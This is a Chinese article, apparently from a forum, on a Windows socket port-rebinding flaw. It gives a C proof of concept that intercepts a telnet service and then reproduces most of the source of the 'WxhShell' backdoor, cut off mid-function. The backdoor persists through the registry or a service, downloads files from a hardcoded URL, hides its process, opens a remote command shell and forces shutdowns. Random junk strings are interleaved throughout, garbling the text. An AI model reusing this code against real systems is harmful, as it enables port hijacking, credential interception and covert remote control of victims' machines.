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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `^JJ&)4iv s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }TQ{`a@ Am0{8
' saddr.sin_family = AF_INET; Qhi '')Q Y/<lWbj*A saddr.sin_addr.s_addr = htonl(INADDR_ANY); moj]j`P5a /
O/`< bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7M_U2cd|TD RgdysyB 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 YpAg |'ln?D:& 这意味着什么?意味着可以进行如下的攻击: 8b.u'r174 h}_~y'^! 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?<&O0'Q kqYa*| l 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) c
!ZM yq-=],h 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 HW4.zw >Iewx
Gb> 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 6Tw#^;q- =\#%j|9N9 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 X=JmF97 sbkQ71T: 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4D%9Rc0 G '3]p29v{ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #PDf,^ HjqB^|z #include )0vU
k #include _\PNr.D8 #include W!blAkM%i #include =p^He! DWORD WINAPI ClientThread(LPVOID lpParam); jr7C}B-Fb^ int main() 87%*+n:?* { YIt& > WORD wVersionRequested; jc[_I&Oc_ DWORD ret; 8[CB>-9 WSADATA wsaData; $8USyGi3J BOOL val; m=AqV:%| SOCKADDR_IN saddr; *%w69#D SOCKADDR_IN scaddr; U t-B^x)gl int err; U-k+9f 0 SOCKET s; UX3BeUi.) SOCKET sc; ,:fl?x.X int caddsize; e~ aqaY~} HANDLE mt; [3l*F DWORD tid; n%R;-?*v wVersionRequested = MAKEWORD( 2, 2 ); FlfI9mm err = WSAStartup( wVersionRequested, &wsaData ); \~d";~Y` if ( err != 0 ) { V@7KsB printf("error!WSAStartup failed!\n"); !UOCJj.cA return -1; V}d9f2 } IKtB; saddr.sin_family = AF_INET; &mj6rIz hUQ,z7- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 zf4Ec-) n,eJ$2!J saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); YSJy` saddr.sin_port = htons(23); F/m^?{==~* if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -LDCBc" { *#%9Rp2| printf("error!socket failed!\n"); +X`V|E,no return -1; I)q,kP@yY } _LAS~x7, val = TRUE; HkV1sT //SO_REUSEADDR选项就是可以实现端口重绑定的 -[= drj9I if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) g~7Ri-" { e__@GBG printf("error!setsockopt failed!\n"); Ftw;Yz return -1; >e2<!#er| } E ca\fkj //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $Y=T&O //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :+{ ? //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -U<Upn)2 ZT02"3F if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1:NrP'W^ { "G-1>:
ret=GetLastError(); 4`Q3v4fOF printf("error!bind failed!\n"); ;fw1 return -1; ky
8e p } BR'I+lQ listen(s,2); ,BF E=:ZIK while(1) !zPG?q]3 { "dR|[a<#g caddsize = sizeof(scaddr); h2ZkCML //接受连接请求 |/gW_;( sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -~eJn'W if(sc!=INVALID_SOCKET) d!KsNkk { 1Z[/KJ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +(xeT+J if(mt==NULL) vA$o~?a]/ { `X,yM-( printf("Thread Creat Failed!\n"); +\li*G]:J break; #`GY}-hL! } =fm]D l9h* } T081G`li CloseHandle(mt); J7C4V'_ } Qn ^bVhG+ closesocket(s); o7B[R) 4 WSACleanup(); 5L:1A2Z?c return 0; |AlR^N } Z5c~^jL$- DWORD WINAPI ClientThread(LPVOID lpParam) /h v4x9 { k3+e;[My+ SOCKET ss = (SOCKET)lpParam; >7!6nF3x, SOCKET sc; )s1Ib4C unsigned char buf[4096]; K:'q>D@ SOCKADDR_IN saddr; ;"O&X<BX- long num; ^QuiH' DWORD val; k{gLMl DWORD ret; C^QtSha //如果是隐藏端口应用的话,可以在此处加一些判断 O62b+%~F //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 pV6d
Id saddr.sin_family = AF_INET; K1V#cB
WO saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z/^ u saddr.sin_port = htons(23); &a/__c/l if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1!pa;$L { r>jC_7 printf("error!socket failed!\n"); tbnH,* return -1; sC[yI Up } JFgoN,xn val = 100; .(J?a" if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iHf-{[[Z { {pb>$G:gfx ret = GetLastError(); =AVgIv return -1; :V2bS } a[lY S{ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R<i38/ ~G { '0$?h9" ret = GetLastError(); &V>fYgui return -1; yr#5k`&\_ } "EU{8b if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G/%iu;7ZCb { >NB?&| printf("error!socket connect failed!\n"); %4\OPw& closesocket(sc); H:p Z-v* closesocket(ss); fYE(n8W3 return -1; /6O??6g } XC7%vDIt while(1) B2Xn?i3 l { @"T"7c?Cv //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 i(?,6)9 //如果是嗅探内容的话,可以再此处进行内容分析和记录 {cpEaOyOM //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 aA- num = recv(ss,buf,4096,0); #_mi `7!B# if(num>0) X7L8h'(@ send(sc,buf,num,0); OT^%3:zg else if(num==0) i&8FBV- break; 1 nvTce num = recv(sc,buf,4096,0); '8Phxx| if(num>0) `.y}dh/+0W send(ss,buf,num,0); S4witIK5 else if(num==0) $,xnU.n break; bqanFQj } O4<g%.HC6 closesocket(ss); r%DFve:% closesocket(sc); 50dGBF return 0 ; %AOIKK5 } 8G>>i)Sbg ~j#~\Ir V|)>{Xdn ========================================================== VL9-NfeqR -C#PQV 下边附上一个代码,,WXhSHELL n;R#,!<P >zkRcm ========================================================== @pGZLq 7FN<iI&7\ #include "stdafx.h" s] /tYJYl /v095H@ #include <stdio.h> .oEmU+ #include <string.h> X0{/ydGF8 #include <windows.h> k`". #include <winsock2.h> :V)lbn\ #include <winsvc.h> 8Ry74|`=R #include <urlmon.h> 5>6PH+Oq M5T9JWbN #pragma comment (lib, "Ws2_32.lib") xoB},Xl$D #pragma comment (lib, "urlmon.lib") M8k"je7`s y]%w )4PS #define MAX_USER 100 // 最大客户端连接数 ;X ,1I #define BUF_SOCK 200 // sock buffer 6.t',LTB #define KEY_BUFF 255 // 输入 buffer I2(zxq&2M\ :a:[. #define REBOOT 0 // 重启 _WX#a|4h{ #define SHUTDOWN 1 // 关机 569}Xbc/ m~Ld~I" #define DEF_PORT 5000 // 监听端口 Z%Z9oJ: )m3q2W #define REG_LEN 16 // 注册表键长度 &;LqF#ZL #define SVC_LEN 80 // NT服务名长度 I *c;H I ?Z\Yu' // 从dll定义API (><zsLs& typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J==SZ v typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); UR(-q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W~_t~Vg5 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1GEK:g2B R];Oxe // wxhshell配置信息 elG;jB struct WSCFG { FZB~|3eq{ int ws_port; // 监听端口 $ _8g8r} char ws_passstr[REG_LEN]; // 口令 <"o"z2 int ws_autoins; // 安装标记, 1=yes 0=no :hGPTf char ws_regname[REG_LEN]; // 注册表键名 _wb0'xoK" char ws_svcname[REG_LEN]; // 服务名 93[DAs char ws_svcdisp[SVC_LEN]; // 服务显示名 k
{- char ws_svcdesc[SVC_LEN]; // 服务描述信息 k\Q,h75 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SM[Bv9|0 int ws_downexe; // 下载执行标记, 1=yes 0=no 9*6]&:fm char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" \qsw"B*tv` char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9>/wUQs!] iE0ab,OF }; =TR,~8Z| Gf8s?l // default Wxhshell configuration G
;?qWB, struct WSCFG wscfg={DEF_PORT,
Lw1T 4n "xuhuanlingzhe", 4Z[V uQng 1, 3CTX -#)vS "Wxhshell", 4^6.~6a "Wxhshell", 7dihVvL
$ "WxhShell Service", Q bhW!9(, "Wrsky Windows CmdShell Service", H* !EP "Please Input Your Password: ", %/kyT%1 1, G;gJNK"e " http://www.wrsky.com/wxhshell.exe", 4
;Qlu "Wxhshell.exe" A5#y?Aq }; v"+k~:t* XwM611 // 消息定义模块 ujW1+Oj=~ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h72UwJ2rw char *msg_ws_prompt="\n\r? for help\n\r#>"; o/[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Z?i /r5F char *msg_ws_ext="\n\rExit."; *cWmS\h| char *msg_ws_end="\n\rQuit."; `Lyq[zg8 char *msg_ws_boot="\n\rReboot..."; KsAH]2Q% char *msg_ws_poff="\n\rShutdown..."; F=G{)*Ih char *msg_ws_down="\n\rSave to "; *X%m@KLIKv ,1Qd\8N9 char *msg_ws_err="\n\rErr!"; 31Cq22" char *msg_ws_ok="\n\rOK!"; {5c]Mn"r fYebB7Pv char ExeFile[MAX_PATH]; g.% int nUser = 0; hwnx<f ' HANDLE handles[MAX_USER]; ;??ohA"{5 int OsIsNt; NGjdG=, ;D ~L| SERVICE_STATUS serviceStatus; lfk9+) SERVICE_STATUS_HANDLE hServiceStatusHandle; n)8Yj/5 b syq* // 函数声明 G,&%VQ3P> int Install(void); 8F;>5i int Uninstall(void); zIQzmvf int DownloadFile(char *sURL, SOCKET wsh); _BnTv$.P int Boot(int flag); "cho }X void HideProc(void); Q/_[--0 int GetOsVer(void); dAx96Og:X" int Wxhshell(SOCKET wsl); pw>m.=9|y void TalkWithClient(void *cs); ~WVO int CmdShell(SOCKET sock); gL$&@NY int StartFromService(void); bC@k>yC- int StartWxhshell(LPSTR lpCmdLine); z?8~[h{i% ~4.r^)\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tP
~zKU VOID WINAPI NTServiceHandler( DWORD fdwControl ); .M|>u_<Qd f<[jwhCWV // 数据结构和表定义 #*q2d SERVICE_TABLE_ENTRY DispatchTable[] = s #:%x# { OKuD" {wscfg.ws_svcname, NTServiceMain}, HgJb4Fi {NULL, NULL} ~pP0|B*% }; w=r&?{ 2x$x;
\*j // 自我安装 V7CoZnz int Install(void) vTr34n { ?s}
% char svExeFile[MAX_PATH]; t> Q{yw HKEY key; x49!{} strcpy(svExeFile,ExeFile); k/&]KYwu P1 +"v* // 如果是win9x系统,修改注册表设为自启动 XOrfs sj if(!OsIsNt) { 90 {tI X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xer@A;c RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7-iIay1h" RegCloseKey(key); lhn8^hOJ/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {'3D1#SK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,-*iCs< RegCloseKey(key); u7]<=*V] return 0; _45cH{$sA } O@U?IF$ } (;o*eFC F } irxz l3 else { %j]STD.E , j980/ // 如果是NT以上系统,安装为系统服务 )@QJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); " mj^+u- if (schSCManager!=0) J2Et-Cz 1 { Y'm=etE SC_HANDLE schService = CreateService H~+xB1 ( i1*C{Lf;%) schSCManager, vx 0UoKX wscfg.ws_svcname, ]Bu DaxWN wscfg.ws_svcdisp, %&] 1FhL SERVICE_ALL_ACCESS, f>iuHR*EXB SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7s>a2 SERVICE_AUTO_START, r7z6___ SERVICE_ERROR_NORMAL, ?A=b6Um svExeFile, 4^Qi2[ w NULL, Z}Cqd?_') NULL, T nxKR$Hoh NULL, ~@c-* NULL, P[gO85 NULL v+q<BYq ); o\4t4}z~'f if (schService!=0) bAhZ7;T~ { 4\Di,PPu CloseServiceHandle(schService); l)}t,!M6 CloseServiceHandle(schSCManager); b;vNq strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /5a;_ strcat(svExeFile,wscfg.ws_svcname); tjzA)/T,4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,7/
_T\d< RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hTS|_5b RegCloseKey(key); ]mkJw 3 return 0; r#h {$iW } >[K?fJ$+ } $4j^1U`~)K CloseServiceHandle(schSCManager); .P/xs4 } +^Jwo)R'b } qe?Ggz3p. iz
x[ return 1; J%P)%yX } S=9E@(] b~wKF0vq // 自我卸载 Kdt|i93 int Uninstall(void) i&F~=Q` { Z;*`fd?8 HKEY key; v5Y@O|i# &+;uZ-x if(!OsIsNt) { kyAs'R@z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !LSs9_w RegDeleteValue(key,wscfg.ws_regname); Q_lu`F| RegCloseKey(key); EVz9WY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p$OD*f_b RegDeleteValue(key,wscfg.ws_regname); 9eSRCLhgD RegCloseKey(key); /RF%1!M
K return 0; rgR?wXW]jE } elKx]%k*) } y9
uVCR } Uz>Yn&{y6 else { Z[;#|$J 6Kht:WE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); O]_={% if (schSCManager!=0) -Op@y2+c { ABiC9[Q0 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -- S"w@ if (schService!=0) iPFL"v<#J { M7p8^NL if(DeleteService(schService)!=0) { jeFN*r_ CloseServiceHandle(schService); 7 6*hc CloseServiceHandle(schSCManager); m+$/DD^-zl return 0; 9S"N4c> } Gc}0]!nrW9 CloseServiceHandle(schService); d<Dn9,G } Lw*1 .~ CloseServiceHandle(schSCManager); {{zua-F } BD4"pcr } /$*; >4=>f p2a?9R return 1; a@k.$ } 2VMX:&3 5J lxOqs:b // 从指定url下载文件 U,ELqi \ int DownloadFile(char *sURL, SOCKET wsh) %JaE4& { 8>v7v&Bh| HRESULT hr; !h/dZ`# char seps[]= "/"; wy\o*P9mG) char *token; z@n+7p`w char *file; Sgx+V"bkT char myURL[MAX_PATH]; VVN#
$ char myFILE[MAX_PATH]; A?sNXhh g\j>qUjs%Q strcpy(myURL,sURL); ,E]|\_] token=strtok(myURL,seps); FLEg0/m0 while(token!=NULL) 6NSO >/E { o@@_J@}# file=token; r'PE5xqF token=strtok(NULL,seps); SNxz*`@4 } T:'+6
* S{\#s GetCurrentDirectory(MAX_PATH,myFILE); ZU^Q1}</5 strcat(myFILE, "\\"); A ')(SGSc strcat(myFILE, file); 5
2fO)! send(wsh,myFILE,strlen(myFILE),0); Nq
U9/ send(wsh,"...",3,0); 6BHPzv+Y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A'b<?)Y7_ if(hr==S_OK) |WUA1g return 0; FBbm4NB else &BTfDsxAK return 1; B~BUWWMfp .yG8B:7N2 } sFD!7; s|KfC># // 系统电源模块 IwnYJp:9v int Boot(int flag) Ta,u-!/I { y!BB7cK6 HANDLE hToken; P$F#,Cn TOKEN_PRIVILEGES tkp; =^"~$[z( k~ZBJ+
94 if(OsIsNt) { dvxf lLd @ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %!D_q~"H LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &F9OZMK= tkp.PrivilegeCount = 1; 6J]~A0vsi} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V9gVn?O0 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @eA %(C if(flag==REBOOT) { mnQal>0~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vB]3Xb3a return 0; vr<)Ay } K"G(?<>~4c else { f};!m=b if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #<D@3ScC return 0; 1.uUMW
} MQjG<O\ } !;ZBL;qY9 else { 6@i|Kw(: if(flag==REBOOT) { NH<Y1t if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?@yank| return 0; z`;&bg\8 } S/KVN(Z else { `f2W;@V0 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 54;l*}8Hl return 0; t.gq5Y.[ } PV?1g|tYv } 6j?FRs sf<Q#ieTxY return 1; Ixyvn#ux) } Bd/}
%4V\@ N,h1$)\B# // win9x进程隐藏模块 VM=hQYe void HideProc(void) \IO$+Guh { {c&qB`y<. 5F% h>tqh HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); jM{(8aUG if ( hKernel != NULL ) ^n6)YX { |C&%S"*+D pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U#OWUZ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,s\x]bh FreeLibrary(hKernel); Qo]vpp^[# } Xv`2hf XPGL3[w\V return; 0EcC } |Gf1^8:C9 tCd{G
c // 获取操作系统版本 5@GD} oAn6 int GetOsVer(void) 3w[<cq.! { wpAw/-/ OSVERSIONINFO winfo; LuQ"E4;nY% winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Xp<A@2wt? GetVersionEx(&winfo); ~R"]LbeY if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :|*Gnu return 1; /8 e2dw:
\ else s
ZlJ/_g return 0; OHx,*}N } /&S~+~]n fho=<|- // 客户端句柄模块 } IIK~d, int Wxhshell(SOCKET wsl) ,eZ;8W{G { m~Kch~~] SOCKET wsh; hr)+Pk struct sockaddr_in client; BG(R=,
7 DWORD myID; "#_)G7W+e jh<TdvF2$ while(nUser<MAX_USER) qAS70XjOF { &/J.0d-*`` int nSize=sizeof(client); xl1L4R)6D wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .E?bH V if(wsh==INVALID_SOCKET) return 1; chvrHvByS 4*@G&v?n handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .(TQ5/
~ if(handles[nUser]==0) uW\@x4 closesocket(wsh); 1 2%z3/i else h(+m<J nUser++; ~`nm<
} =;'ope(?S WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F[o+p|nF ,yB?~ return 0; "ZA$"^ } B,BOzpb( Fi?U)T+%+ // 关闭 socket lp37irI: void CloseIt(SOCKET wsh) JLFFh!J { J};u25:} closesocket(wsh); kR`6s nUser--; D:ql^{~ ExitThread(0); -dc"N|. } }QX2:a c<JM1 // 客户端请求句柄 KZp,=[t void TalkWithClient(void *cs) XwKZv0ub { kuKnJWv tu?Z@W/ SOCKET wsh=(SOCKET)cs; -Fp!w "=T char pwd[SVC_LEN]; }5TfQV6 char cmd[KEY_BUFF]; 1)P<cNj char chr[1]; I>YtWY|ed int i,j; t5X G^3X@ $ g1wK}B3 while (nUser < MAX_USER) { s/W!6JX4 YYZs#_ if(wscfg.ws_passstr) { EyKkjEXx_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6ywnyh //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); onWYT} c{ //ZeroMemory(pwd,KEY_BUFF); pAUfG^v i=0; kB$,1J$q while(i<SVC_LEN) { Tv*1q.MB &2P:A // 设置超时 Hm.&f2|( fd_set FdRead; ecSdU> struct timeval TimeOut; .Y^d9. FD_ZERO(&FdRead); .NNcc4+ FD_SET(wsh,&FdRead); <manv8*6 TimeOut.tv_sec=8; 3H\b N4 TimeOut.tv_usec=0; e@2E0u4
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;QvvU[eb if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); laD.or &8:iB {n if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [`Qp;_K?t pwd =chr[0]; Gct&}]3pm if(chr[0]==0xd || chr[0]==0xa) { ;*j6d3E pwd=0; ^Q43)H0 break; 3u"J4%zg|L } \ eyQo>( i++; NXWIE4T>*^ } QvK]<HEr DS[l,x // 如果是非法用户,关闭 socket x]%4M\T`` if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D@lAT#vA } y ? {PoNI c^dl+-{Mc send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =A6u= send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '^.=gTk _I
-0, while(1) { 0%&fUz36E6 [6/%V>EM ZeroMemory(cmd,KEY_BUFF); T`RQUJO )z4kP09 // 自动支持客户端 telnet标准 6%ti B? j=0; gqHH Hh while(j<KEY_BUFF) { &]"_pc/>m if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); go%X%Os] cmd[j]=chr[0]; nkCRe if(chr[0]==0xa || chr[0]==0xd) { ./BP+\)lO cmd[j]=0; *~t$k56 break; KoQ_:` } *`pec3" j++; 3MBz } P7BJ?x ru6H nLhL // 下载文件 t+4%,n f_1 if(strstr(cmd,"http://")) { gS(: c. send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9q0,K" x) if(DownloadFile(cmd,wsh)) zOdasEd8! send(wsh,msg_ws_err,strlen(msg_ws_err),0); /O(;~1B else 1vR#FE? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JG+g88 } Z+"E* else { 5x1jLPl' 3/SqXu switch(cmd[0]) { wJ]$'c3 %.atWX`b // 帮助 D!D%. case '?': { i$LV44 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [(e`b break; Jk6/i;4| } dn.c#,Y // 安装 ~]_jKe4W case 'i': { (EF$^FYPK if(Install()) I;":O"ij\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); |)P;%Fy9 else ^x1D]+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CsST-qxg break; ][$$
= } yn ?U7`V // 卸载 ywsz"/=@ case 'r': { J\,e/{,X if(Uninstall()) hoD[wAC send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5-QvQ&eH. else WG[0$j send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C>K"ZJ break; $Ln2O# } j"$b%| // 显示 wxhshell 所在路径 lj}1'K@M case 'p': { PRf\6 char svExeFile[MAX_PATH]; A&_i]o strcpy(svExeFile,"\n\r"); ?$8 ,j+&I strcat(svExeFile,ExeFile); EpoQV ^Ey send(wsh,svExeFile,strlen(svExeFile),0); &MGgO\|6 break; ^MWW,` } GPhwq n{ // 重启 fS$Yl~-m? case 'b': {
$;`2^L send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U -^S<H if(Boot(REBOOT)) P@T $6%~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); /7HIL?r else { fO}1(%}d closesocket(wsh); W,oV$ s^ ExitThread(0); +iDz+3v( } 8#JyK+NU break; wYxFjXm } >8HRnCyp/ // 关机 +w}%gps case 'd': { (S93 %ii send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z YO/'YW if(Boot(SHUTDOWN)) _q!ck0_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); GMp'KEQQ else { AxqTPx7`| closesocket(wsh); MS^hsUj} ExitThread(0); F9G$$%Q-Z } [~r$US break; 9lwo/(s } 6nk|*HPz // 获取shell JC?V].) y5 case 's': { W;x LuKIG CmdShell(wsh);
kd2'-9 closesocket(wsh); [zt&8g ExitThread(0); D
`3yv
R break; R8Ei:f} } ;og<eK // 退出 n#AH@`&i case 'x': { Vh-h{ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )t 7HioQ CloseIt(wsh); I
Y-5/ break; #2t\>7] } V\lF:3C // 离开 JG+o~tQC case 'q': { Gqu0M`+7 send(wsh,msg_ws_end,strlen(msg_ws_end),0); #+Gs{i Xr closesocket(wsh); o+23?A~+ WSACleanup(); +( 7vmC. exit(1); KE1@z] break; ]tV{#iIJ* } j3'/jk]\ } ^Q+5M"/8 } @ShJ: j{+I~|ZB, // 提示信息 {y%O_-C'r if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,UJPLj^ } n7<-lQRaxZ } Xpz-@fqKdf .TU15AAc return; 8pKPbi;(2 } !LSWg:Ev+ #z5?Y2t7~^ // shell模块句柄 $f-pLF+x int CmdShell(SOCKET sock) e/~<\ { wA+4:CF@ STARTUPINFO si; VFp)`+8 ZeroMemory(&si,sizeof(si)); RR {9 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2MrR|hLx si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "tbBbEj?d PROCESS_INFORMATION ProcessInfo; \DdVMn char cmdline[]="cmd"; ?4dd|n CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &%51jM< return 0; A)0m~+?{J } G`K7P`m KUV{]?' // 自身启动模式 ,tc]E45 int StartFromService(void) j>=".^J { (.t:sn"P typedef struct }{PtQc6RL! { h.%Qn vL DWORD ExitStatus; vYun^(_- DWORD PebBaseAddress; m#(x D~V DWORD AffinityMask; D#(L@{vC DWORD BasePriority; z@LP9+?dE ULONG UniqueProcessId; #.K&]OV/88 ULONG InheritedFromUniqueProcessId; PltPIu)F } PROCESS_BASIC_INFORMATION; uB9+E%jOdQ G!Q)?N PROCNTQSIP NtQueryInformationProcess;
c'4 \F9 x?$Y<=vT static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
#rC+13 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P=i |{vv( l )eaIOyk HANDLE hProcess; 2Nszxvq, PROCESS_BASIC_INFORMATION pbi; K1yM'6Zw xpo}YF'5 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7}?z=LHb3 if(NULL == hInst ) return 0;
